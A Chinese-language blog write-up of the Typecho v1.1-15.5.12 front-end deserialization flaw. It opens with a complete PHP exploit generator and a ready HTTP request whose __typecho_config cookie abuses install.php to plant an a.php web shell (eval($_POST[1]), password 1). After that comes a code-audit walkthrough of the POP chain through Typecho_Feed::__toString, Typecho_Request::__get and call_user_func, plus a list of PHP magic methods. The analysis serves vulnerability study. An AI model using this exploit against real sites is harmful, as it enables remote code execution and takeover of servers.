Typecho v1.1-15.5.12 前台反序列化可写Shell。
这个洞出了得有一个月了,当时出的时候想要审一下,但是PHP水平不太够,没审出来,于是等了等大牛们的博客。重新梳理了下流程,在此记录一下。
0x00 源码下载
https://github.com/typecho/typecho/releases/tag/v1.1-15.5.12-beta
0x01 Payload
1. Exp生成脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
   | <?php  class Typecho_Feed {     const RSS1 = 'RSS 1.0';     const RSS2 = 'RSS 2.0';     const ATOM1 = 'ATOM 1.0';     const DATE_RFC822 = 'r';     const DATE_W3CDTF = 'c';     const EOL = "\n";     private $_type;     private $_charset;     private $_lang;     private $_version;     private $_items = array();
      public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')     {         $this->_version = $version;         $this->_type = $type;         $this->_charset = $charset;         $this->_lang = $lang;     } 	public function addItem(array $item)     {         $this->_items[] = $item;     } } class Typecho_Request { 	private $_params = array('screenName' => "file_put_contents('a.php', '<?php eval(\$_POST[1]);?>')");     private $_filter = array('assert'); } $p1 = new Typecho_Feed(1); $p2 = new Typecho_Request(); $p1->addItem(array('author' => $p2)); $exp = array('adapter' => $p1, 'prefix' => 'MengChen'); echo base64_encode(serialize($exp));
 
  | 
 
2. http请求包
1 2 3 4 5 6 7 8 9 10
   | GET /typecho/install.php?finish=233 HTTP/1.1 Host: 10.10.10.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtzOjU6IlVURi04IjtzOjE5OiIAVHlwZWNob19GZWVkAF9sYW5nIjtzOjI6ImVuIjtzOjIyOiIAVHlwZWNob19GZWVkAF92ZXJzaW9uIjtpOjE7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTQ6ImZpbGVfcHV0X2NvbnRlbnRzKCdhLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoiTWVuZ0NoZW4iO30= Referer: http://10.10.10.135/typecho/install.php Connection: keep-alive Upgrade-Insecure-Requests: 1
 
  | 
 
效果就是会在网站目录下生成一个名为a.php的shell,密码为1
3. 效果图

0x02 漏洞原理分析
1. 正向代码审计
在install.php文件中,首先在第59-77行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {     exit; }
  // 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) {     if (empty($_SERVER['HTTP_REFERER'])) {         exit;     }
      $parts = parse_url($_SERVER['HTTP_REFERER']); 	if (!empty($parts['port'])) {         $parts['host'] = "{$parts['host']}:{$parts['port']}";     }
      if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {         exit;     } }
 
  | 
 
绕过这里需要用GET方法传入一个finish参数,然后再加入一个同源的Referer即可。
然后往下,在第229-235行,存在一个很明显的反序列化操作。
1 2 3 4 5 6 7
   | <?php     $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));     Typecho_Cookie::delete('__typecho_config');     $db = new Typecho_Db($config['adapter'], $config['prefix']);     $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);     Typecho_Db::set($db); ?>
 
  | 
 
在这里,可以通过cookie把一个序列化的变量反序列化后存入变量$config,然后在实例化Typecho_Db类时作为参数传入。全局搜索Typecho_Db类。
文件路径为/var/Typecho/Db.php。
在Db.php文件Typecho_Db类的构造函数中,第120行,存在一个字符串拼接操作
1
   | $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
 
  | 
 
假设$adapterName是一个实例化的类,那么在进行该操作时,会触发类的__toString()魔术方法。
然后再寻找定义了__toString()方法的类。
找到三个
1 2 3
   | /var/Typecho/Config.php /var/Typecho/Feed.php /var/Typecho/Query.php
 
  | 
 
分别跟进进行审计。
在Feed.php中,第290行__toString()方法中。
1
   | $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;\
 
  | 
 
在这里调用了Feed.php中类Typecho_Feed的一个私有数组成员$_items的值,这个值我们可以控制,于是又用到了另一个魔术方法__get()。
__get会在读取不可访问的属性的值的时候调用
无法访问的属性包括两类:不存在的属性、私有属性
因此,我们可以通过该处调用某个类的__get()魔术方法。
全局搜索下,分别跟进。
在/var/Typecho/Requests.php中,Typecho_Request类里第269-272行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
   | public function __get($key) {     return $this->get($key); } 在这进入了第295-311行,get()中 public function get($key, $default = NULL) {     switch (true) {         case isset($this->_params[$key]):             $value = $this->_params[$key];             break;         case isset(self::$_httpParams[$key]):             $value = self::$_httpParams[$key];             break;         default:             $value = $default;             break;     }
      $value = !is_array($value) && strlen($value) > 0 ? $value : $default;     return $this->_applyFilter($value); }
 
  | 
 
然后在第159行,进入_applyFilter()方法中
1 2 3 4 5 6 7 8 9 10 11 12 13
   | private function _applyFilter($value) {     if ($this->_filter) {         foreach ($this->_filter as $filter) {             $value = is_array($value) ? array_map($filter, $value) :             call_user_func($filter, $value);         }
          $this->_filter = array();     }
      return $value; }
 
  | 
 
在第164行,有个很醒目的call_user_func()函数。
call_user_func()是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数,这里就是代码执行的地方。
2. Payload构造逻辑
首先,我们利用cookie传入一个序列化后的数组,数组中有个键为'adapter'、值为一个实例化的Typecho_Feed()类的键值对。

在实例化Typecho_Db类时,实例化后的Typecho_Feed类在Db.php中第120行进行了字符串拼接操作,调用了Typecho_Feed类的__toString()方法。

于是进入了Feed.php第223行的__toString()方法中。在类Typecho_Feed()类中有个私有化数组成员$_items,
在第284行对该数组进行了遍历,然后在第290行对$item['author']这个实例化的screenName成员进行操作。
1
   | $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
 
  | 
 

如果$item['author']这个实例化的类中没有screenName这个成员或者这个成员是私有的,则会调用该实例化类的__get()魔术方法,
并且$item['author']这个类我们是可以控制的,因此令它为Typecho_Request这个类,因为Typecho_Request中没有screenName这个成员
然后就调用的screenName的__get()魔术方法,传入了一个值为screenName的$key,进入Request.php第295行Typecho_Request类的$_params[]中。

有键为screenName的键值对,就将它的值传入$value中,然后进入了_applyFilter()这个方法中,如果类Typecho_Request的成员_filter存在,就将其的值遍历作为函数名。
传入call_user_func($filter, $value);中,而get()方法中处理的$value就作为所执行函数的值传入其中`。于此代码执行

简单的说,在这个流程中,call_user_func()函数的两个参数我们都可控,
于是在此构成了任意代码执行。
整个POP链就是
Typecho_Db类构造函数 –> Typecho_Feed类的__toString()魔术方法 –> Typecho_Request类的__get()魔术方法 –> Typecho_Request类的get()方法 –>
Typecho_Request类的_applyFilter()方法 –>
call_user_func()执行任意代码
0x03 PHP魔术方法
__construct(),类的构造函数 
__destruct(),类的析构函数 
__call(),在对象中调用一个不可访问方法时调用 
__callStatic(),用静态方式中调用一个不可访问方法时调用 
__get(),获得一个类的成员变量时调用 
__set(),设置一个类的成员变量时调用 
__isset(),当对不可访问属性调用isset()或empty()时调用 
__unset(),当对不可访问属性调用unset()时被调用。 
__sleep(),执行serialize()时,先会调用这个函数 
__wakeup(),执行unserialize()时,先会调用这个函数 
__toString(),类被当成字符串时的回应方法 
__invoke(),调用函数的方式调用一个对象时的回应方法 
__set_state(),调用var_export()导出类时,此静态方法会被调用。 
__clone(),当对象复制完成时调用 
0x04 参考